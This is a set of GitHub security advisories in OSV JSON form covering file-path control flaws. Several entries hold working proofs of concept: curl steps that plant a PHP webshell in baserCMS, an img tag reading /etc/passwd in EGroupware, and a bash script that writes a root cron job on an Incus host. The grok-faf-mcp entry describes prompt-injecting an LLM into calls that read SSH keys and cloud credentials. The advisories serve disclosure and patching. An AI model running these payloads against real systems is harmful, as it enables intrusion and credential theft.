CWE-73

{
  "affected": [],
  "aliases": [
    "CVE-2020-37080"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-03T22:16:23Z",
    "severity": "HIGH"
  },
  "details": "webTareas 2.0.p8 contains a file deletion vulnerability in the print_layout.php administration component that allows authenticated attackers to delete arbitrary files. Attackers can exploit the vulnerability by manipulating the \u0027atttmp1\u0027 parameter to specify and delete files on the server through an unauthenticated file deletion mechanism.",
  "id": "GHSA-c4p8-934f-4gvh",
  "modified": "2026-02-04T00:30:28Z",
  "published": "2026-02-04T00:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37080"
    },
    {
      "type": "WEB",
      "url": "https://sourceforge.net/projects/webtareas"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/48430"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/webtareas-p-arbitrary-file-deletion"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "baserproject/basercms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T22:47:39Z",
    "nvd_published_at": "2026-03-31T01:16:36Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA path traversal vulnerability exists in the baserCMS 5.x theme file management API (`/baser/api/admin/bc-theme-file/theme_files/add.json`) that allows arbitrary file write.\n\nAn authenticated administrator can include `../` sequences in the `path` parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).\n\n## Affected Code\n\n**File**: `plugins/bc-theme-file/src/Service/BcThemeFileService.php`\n\n```php\npublic function getFullpath(string $theme, string $plugin, string $type, string $path)\n{\n    // ...\n    return $viewPath . $type . DS . $path;  // $path is not sanitized\n}\n```\n\n## Attack Scenario\n\n1. The attacker compromises an administrator account (password leak, brute force, etc.)\n2. Obtains an access token via API login\n3. Specifies `path: \"../../../../webroot/\"` in the theme file creation API\n4. A PHP file is created in the webroot\n5. The attacker accesses the created PHP file to achieve RCE\n\n## Reproduction Steps\n\n```bash\n# 1. Login\ncurl -X POST \"http://target/baser/api/admin/baser-core/users/login.json\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"admin@example.com\",\"password\":\"password\"}\u0027\n\n# 2. Create webshell\ncurl -X POST \"http://target/baser/api/admin/bc-theme-file/theme_files/add.json\" \\\n  -H \"Authorization: Bearer \u003ctoken\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"theme\": \"BcThemeSample\",\n    \"plugin\": \"\",\n    \"type\": \"layout\",\n    \"path\": \"../../../../webroot/\",\n    \"base_name\": \"shell\",\n    \"ext\": \"php\",\n    \"contents\": \"\u003c?php system($_GET[\\\"cmd\\\"]); ?\u003e\"\n  }\u0027\n\n# 3. RCE\ncurl \"http://target/shell.php?cmd=id\"\n```\n\n## Vulnerability Details\n\n| Item | Details |\n|------|---------|\n| CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name or Path |\n| Impact | Arbitrary file write, Remote Code Execution (RCE) |\n| Attack Prerequisites | Administrator privileges + API enabled (`USE_CORE_ADMIN_API=true`), or chaining with XSS, etc. |\n| Reproducibility | High (PoC verified) |\n| Test Environment | baserCMS 5.x (Docker environment) |\n\n### Additional Notes on Attack Prerequisites\n\n- **When API is enabled** (`USE_CORE_ADMIN_API=true`): API calls can be made externally using JWT token authentication. Direct exploitation is possible.\n- **Default settings** (`USE_CORE_ADMIN_API=false`): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.\n\n## Recommended Fix\n\nRather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using `realpath()`, etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.\n\nThe specific implementation location and method are left to the project\u0027s design decisions.\n\n## Comparison with Other CMS\n\nWordPress\u0027s theme editor only allows editing within `wp-content/themes/` and does not permit writes outside that directory. [CVE-2019-8943](https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/) was reported as a path traversal vulnerability in `wp_crop_image()` that allowed writing cropped image output to an arbitrary directory by including `../` in the filename.\n\nThis vulnerability is not a matter of \"administrators being able to execute arbitrary code\" by design, but rather stems from a security boundary violation where \"the theme editing function can write outside the theme directory (to webroot, config, etc.).\"\n\n## Resources\n\n- OWASP Path Traversal: \u003chttps://owasp.org/www-community/attacks/Path_Traversal\u003e\n- WordPress RCE via Path Traversal (CVE-2019-8943): \u003chttps://www.sonarsource.com/blog/wordpress-image-remote-code-execution/\u003e\n- Jira Path Traversal (CVE-2025-22167): \u003chttps://nvd.nist.gov/vuln/detail/CVE-2025-22167\u003e\n\nThis advisory was translated from Japanese to English using GitHub Copilot.",
  "id": "GHSA-c5c6-37vq-pjcq",
  "modified": "2026-03-31T22:47:39Z",
  "published": "2026-03-31T22:47:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30940"
    },
    {
      "type": "WEB",
      "url": "https://basercms.net/security/JVN_20837860"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/baserproject/basercms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/baserproject/basercms/releases/tag/5.2.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-24287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-10T18:18:18Z",
    "severity": "HIGH"
  },
  "details": "External control of file name or path in Windows Kernel allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-c5ff-4mxj-76xj",
  "modified": "2026-03-10T18:31:20Z",
  "published": "2026-03-10T18:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24287"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-49760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T17:16:04Z",
    "severity": "LOW"
  },
  "details": "External control of file name or path in Windows Storage allows an authorized attacker to perform spoofing over a network.",
  "id": "GHSA-c6qh-6m77-3gmv",
  "modified": "2025-07-08T18:31:51Z",
  "published": "2025-07-08T18:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49760"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49760"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "maatwebsite/excel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.8"
            },
            {
              "fixed": "3.1.70"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-84374"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T20:40:47Z",
    "nvd_published_at": "2026-09-01T22:17:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`Excel::store()` resolved the destination path against the process working\ndirectory rather than the configured filesystem disk. When that path resolved to\nan existing file, the export was written straight to it with `fopen()`,\nbypassing the disk entirely. An application that passes a user-controlled value\nas the export path could therefore be made to overwrite an arbitrary existing\nfile that the PHP process can write to, with content the user controls.\n\n### Details\n\n`Maatwebsite\\Excel\\Files\\Disk::copy()` contained two paths:\n\n```php\nif (realpath($destination)) {\n    $tempStream = fopen($destination, \u0027rb+\u0027);\n    $success    = stream_copy_to_stream($readStream, $tempStream) !== false;\n} else {\n    $success = $this-\u003eput($destination, $readStream);\n}\n```\n\n`$destination` is the `$filePath` argument given to `Excel::store()`,\n`$export-\u003estore()` or `-\u003estoreExcel()`. `realpath()` resolves it against the\n**current working directory** \u2014 `public/` for a typical web request \u2014 not\nagainst the disk root. On a hit, the write went directly to the filesystem and\nnever reached Flysystem, which would otherwise have rejected `../` traversal and\nconfined absolute paths to the disk root. The disk argument was effectively\nignored for those paths, including for remote disks such as S3.\n\nTwo consequences follow:\n\n* the destination could be any existing file the PHP process can write, in or\n  out of the disk root;\n* the stream was opened `\u0027rb+\u0027`, which does not truncate, so a shorter export\n  left trailing bytes of the previous file behind.\n\nBecause the file must already exist, the primitive is an **overwrite** rather\nthan an arbitrary file creation. Overwriting a PHP file that is reachable by the\nweb server (for example a front controller or a cached view) turns\nattacker-controlled row content into code execution, since CSV and HTML writers\nemit cell values verbatim. Passing an explicit writer type to `store()` bypasses\nthe extension-based type detection that would otherwise reject a `.php` target.\n\nExploitation requires the **application** to pass an unsanitized, user-controlled\nvalue as the export path. Applications that pass a fixed or server-derived path\nare not affected.\n\n### Impact\n\nArbitrary overwrite of existing files writable by the PHP process, with\npartially attacker-controlled content, leading to remote code execution where\nthe overwritten file is executed by the web server.\n\n### Patches\n\nFixed in **3.1.70**. `Disk::copy()` now always writes through the configured\nfilesystem disk, so Flysystem enforces the disk root for every export.\n\nNote the behaviour change: passing an absolute path to `store()` previously\nwrote to that path once the file existed. Paths now always resolve relative to\nthe disk root. Applications that relied on that should configure a disk rooted\nat the target location.\n\n### Workarounds\n\nFor anyone unable to upgrade, validate the path before passing it to `store()` \u2014\nreject absolute paths and any `..` segment, or derive the filename server-side\nand never build it from request input:\n\n```php\n$name = basename($request-\u003einput(\u0027filename\u0027));   // strips any directory part\nExcel::store($export, \u0027exports/\u0027 . $name, \u0027local\u0027);\n```\n\n### Credit\n\nReported responsibly by @seck19 via the contact address in `SECURITY.md`.",
  "id": "GHSA-c7r6-vx3h-w5g2",
  "modified": "2026-09-08T20:40:47Z",
  "published": "2026-09-08T20:40:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SpartnerNL/Laravel-Excel/security/advisories/GHSA-c7r6-vx3h-w5g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84374"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpartnerNL/Laravel-Excel/commit/b5cafdfcf7ec63924e83303763be8fcae340f70b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SpartnerNL/Laravel-Excel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpartnerNL/Laravel-Excel/releases/tag/3.1.70"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Laravel Excel writes exports outside the configured filesystem disk when given a caller-controlled path"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "egroupware/egroupware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "26.0.20251208"
            },
            {
              "fixed": "26.5.20260507"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "egroupware/egroupware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "23.1.20260601"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T13:02:43Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe function processes image URLs embedded in an HTML email body without validating or restricting URI schemes. The check `!str_starts_with($myUrl, \u0027http\u0027)` evaluates to true for `file://` URIs, causing `file_get_contents($basedir . urldecode($myUrl))` to read arbitrary files from the server filesystem and embed them as inline MIME attachments in outgoing email.\n\nstr_starts_with(\u0027file:///etc/passwd\u0027, \u0027http\u0027) \u2192 **false**\n!false \u2192 **true**\n\n\n```php\n// api/src/Mail.php  \nforeach($images[2] as $i =\u003e $url)\n\t\t\t{\n\t\t\t\t//$isData = false;\n\t\t\t\t$basedir = $data = \u0027\u0027;\n\t\t\t\t$needTempFile = true;\n\t\t\t\t$attachmentData = [\u0027name\u0027 =\u003e \u0027\u0027, \u0027type\u0027 =\u003e \u0027\u0027, \u0027file\u0027 =\u003e \u0027\u0027, \u0027tmp_name\u0027 =\u003e \u0027\u0027];\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\t// do not change urls for absolute images (thanks to corvuscorax)\n\t\t\t\t\tif (!str_starts_with($url, \u0027data:\u0027))\n\t\t\t\t\t{\n\t\t\t\t\t\t$attachmentData[\u0027name\u0027] = basename($url); // need to resolve all sort of url\n\t\t\t\t\t\tif (($directory = dirname($url)) == \u0027.\u0027) $directory = \u0027\u0027;\n\t\t\t\t\t\t$ext = pathinfo($attachmentData[\u0027name\u0027], PATHINFO_EXTENSION);\n\t\t\t\t\t\t$attachmentData[\u0027type\u0027] = MimeMagic::ext2mime($ext);\n\t\t\t\t\t\tif ( strlen($directory) \u003e 1 \u0026\u0026 !str_ends_with($directory, \u0027/\u0027)) { $directory .= \u0027/\u0027; }\n..\n...\n....\n// processURL2InlineImages function\nif ( $myUrl[0]!=\u0027/\u0027 \u0026\u0026 strlen($basedir) \u003e 1 \u0026\u0026 !str_ends_with($basedir, \u0027/\u0027)) { $basedir .= \u0027/\u0027; }\n\t\t\t\t\t\tif ($needTempFile \u0026\u0026 empty($attachment) \u0026\u0026 !str_starts_with($myUrl, \"http\"))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t$data = file_get_contents($basedir.urldecode($myUrl));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tcatch (\\Throwable $e) {\n\t\t\t\t\t\t\t\t_egw_log_exception($e);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (str_starts_with($url, \u0027data:\u0027))\n```\n\n### PoC\n1. Log in as any authenticated EGroupware user with mail access and open the mail compose window.\n2. Switch to HTML body mode and insert: `\u003cimg src=\"file:///etc/passwd\"\u003e`. \n3. The server executes file_get_contents(\u0027file:///etc/passwd\u0027), writes the content to a temp file, and attaches it as an inline MIME part. \n\n\n### Impact\nAn authenticated attacker can read arbitrary files accessible by the web server process, including /etc/passwd, application configuration files containing database credentials, private TLS keys, and environment files.\n\n\n### Remediation\nEnforce a strict URI scheme allowlist before calling file_get_contents(). Replace the check `!str_starts_with($myUrl, \u0027http\u0027)` with `if (!preg_match(\u0027#^https?://#i\u0027, $myUrl)) { continue; }` to reject `file://`, `ftp://`, `php://`, `data://`, and any other non-HTTP scheme.",
  "id": "GHSA-c8m7-r2jv-rw63",
  "modified": "2026-07-07T13:02:43Z",
  "published": "2026-07-07T13:02:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EGroupware/egroupware/security/advisories/GHSA-c8m7-r2jv-rw63"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EGroupware/egroupware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "EGroupware Vulnerable to Local File Inclusion via file:// URI in Mail Compose"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-35077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T13:16:19Z",
    "severity": "HIGH"
  },
  "details": "The ugw-delete-file method allows a remote attacker with user privileges  to delete arbitrary local files due to insufficient validation of user-controlled input.",
  "id": "GHSA-c9gv-mp37-24rp",
  "modified": "2026-06-03T15:30:41Z",
  "published": "2026-06-03T15:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35077"
    },
    {
      "type": "WEB",
      "url": "https://www.certvde.com/en/advisories/VDE-2026-039"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-22341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-22T01:15:10Z",
    "severity": "MODERATE"
  },
  "details": "IBM Watson Query on Cloud Pak for Data 4.0.0 through 4.0.9, 4.5.0 through 4.5.3, 4.6.0 through 4.6.6, 4.7.0 through 4.7.4, and 4.8.0 through 4.8.7 could allow unauthorized data access from a remote data source object due to improper privilege management.",
  "id": "GHSA-c9vm-r7mj-wm49",
  "modified": "2025-02-22T03:30:37Z",
  "published": "2025-02-22T03:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22341"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7183851"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "grok-faf-mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-19T19:15:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nSeveral `grok-faf-mcp` MCP tools accept a caller-controlled `path` argument and resolve it (`~` expansion + `path.resolve()`) straight into a filesystem read **without confining it to a trusted project directory**. An absolute path or `../` traversal is resolved and used as-is, so the server process can be made to read files outside the intended `.faf` project context. The only remaining limit is OS file permissions.\n\n### Affected tools\n`refresh_faf`, `faf_score`, `faf_get_orchestration_policy`, `refresh_blend` (and the shared `getProjectPath()` chokepoint feeding the `.faf` tools), plus the general-purpose `faf_read` / `faf_write` file tools (denylist-only; an absolute path still reached home-directory secrets, and `faf_write` could write outside the project). `refresh_faf` echoes the file contents verbatim back to the caller as \"fresh DNA\"; `faf_get_orchestration_policy` reflects values parsed out of the attacker-chosen file and echoes the resolved absolute path \u2014 confirming the read.\n\n### Impact\nAn MCP client \u2014 or an LLM prompt-injected via attacker-controlled content (a web page, README, ticket, or `.faf`) into issuing a tool call \u2014 can read any file the server process can read: SSH keys (`~/.ssh/id_rsa`), cloud credentials (`~/.aws/credentials`), `.env` files, source, `/etc/passwd`. This is a sensitive-information-disclosure (CWE-200) primitive that far exceeds the declared `.faf` project-context scope. The server runs over stdio, so the read is reached by a crafted tool call (e.g. a prompt-injected agent processing attacker-controlled content).\n\n### Patches\nFixed in **1.5.3** by confining every caller-supplied `path` before any filesystem access (`safe-path.ts`):\n- Reads are restricted to `.faf` / `.fafm` context files, so non-context files (secrets) are refused regardless of directory.\n- General file ops (`faf_read` / `faf_write`) are confined to the project root (cwd + system temp; override with `FAF_ALLOWED_ROOTS`).\n- Paths are canonicalized through symlinks (closing the symlink bypass); absolute paths and `../` escapes are rejected.\n\nUpgrade: `npm install -g grok-faf-mcp@1.5.3` (or `bunx grok-faf-mcp`).\n\n### Workarounds\nIf you cannot upgrade immediately, run the server only against trusted local projects, and set `FAF_ALLOWED_ROOTS` (patched versions) to a single project directory for a hard directory boundary.\n\n### Credits\nDiscovered and responsibly reported via coordinated disclosure by **Zhihao Zhang** (Worcester Polytechnic Institute).",
  "id": "GHSA-cc2g-gq8c-r332",
  "modified": "2026-08-19T19:15:02Z",
  "published": "2026-08-19T19:15:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Wolfe-Jam/grok-faf-mcp/security/advisories/GHSA-cc2g-gq8c-r332"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Wolfe-Jam/grok-faf-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Wolfe-Jam/grok-faf-mcp/releases/tag/v1.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "grok-faf-mcp has an arbitrary local file read via unconfined `path` argument in FAF tools"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T18:47:25Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.\n\nIn `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33\n\n## PoC\n\n### Setup\n\n```\n# Expose the S3 API and create a bucket\nincus config set core.storage_buckets_address=:8555\nincus storage volume create default bucket\n#\u003e note the credentials\n```\n\n### Exploitation\n\nThe below script was mostly generated.\n\n```\n#!/usr/bin/env bash\nset -euo pipefail\n\nif [ $# -lt 4 ]; then\n\tprintf \u0027usage: $0 endpoint bucket access-key secret-key\\n\u0027 \u003e\u00262\n\texit 1\nfi\n\nendpoint=\"${1%/}\"\nbucket=\"${2}\"\naccess=\"${3}\"\nsecret=\"${4}\"\n\nregion=\"us-east-1\"\nservice=\"s3\"\nkey=\"anything\"\npart=\"1\"\nupload_id=\"../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d\"\ntarget=\"/etc/cron.d/part-00001\"\ncmd=\"id \u003e /incus-s3-uploadid-bash-rce; rm -f $target\"\nbody=\"* * * * * root /bin/sh -c \u0027$cmd\u0027\n\"\n\nuri_path=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://[^/]+##\u0027)/$bucket/$key\"\nuri_path=\"${uri_path#/}\"\nuri_path=\"/$uri_path\"\nhost=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://([^/]+).*#\\1#\u0027)\"\nqs=\"partNumber=$part\u0026uploadId=${upload_id//\\//%2F}\"\nurl=\"$endpoint/$bucket/$key?$qs\"\n\namz_date=$(date -u +%Y%m%dT%H%M%SZ)\ndate_scope=\"${amz_date:0:8}\"\nscope=\"$date_scope/$region/$service/aws4_request\"\nbody_hash=$(printf \u0027%s\u0027 \"$body\" | sha256sum | awk \u0027{print $1}\u0027)\nsigned=\"host;x-amz-content-sha256;x-amz-date\"\n\ncanonical=\"PUT\n$uri_path\n$qs\nhost:$host\nx-amz-content-sha256:$body_hash\nx-amz-date:$amz_date\n\n$signed\n$body_hash\"\ncanonical_hash=\"$(printf \u0027%s\u0027 \"$canonical\" | sha256sum | awk \u0027{print $1}\u0027)\"\nstring_to_sign=\"AWS4-HMAC-SHA256\n$amz_date\n$scope\n$canonical_hash\"\n\nhmac_hex() {\n\tprintf \u0027%s\u0027 \"${2}\" | openssl dgst -sha256 -mac HMAC -macopt \"hexkey:${1}\" -binary | xxd -p -c 256\n}\n\nk_date=$(printf \u0027AWS4%s\u0027 \"$secret\" | xxd -p -c 256)\nk_date=$(hmac_hex \"$k_date\" \"$date_scope\")\nk_region=$(hmac_hex \"$k_date\" \"$region\")\nk_service=$(hmac_hex \"$k_region\" \"$service\")\nk_signing=$(hmac_hex \"$k_service\" \"aws4_request\")\nsig=$(hmac_hex \"$k_signing\" \"$string_to_sign\")\nauth=\"AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}\"\n\nprintf \u0027# body:\\n%s\u0027 \"${body}\"\n\ncurl -ksS -X PUT \"${url}\" \\\n\t-H \"Host: ${host}\" \\\n\t-H \"X-Amz-Date: ${amz_date}\" \\\n\t-H \"X-Amz-Content-Sha256: ${body_hash}\" \\\n\t-H \"Authorization: ${auth}\" \\\n\t--data-binary \"${body}\"\n```\n\n\n## Impact\n\nArbitrary file write on the host. Possibly leading to arbitrary command execution.",
  "id": "GHSA-ccjc-4qc3-jxqc",
  "modified": "2026-06-26T18:47:25Z",
  "published": "2026-06-26T18:47:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus has an arbitrary file write via path traversal in S3 multipart upload"
}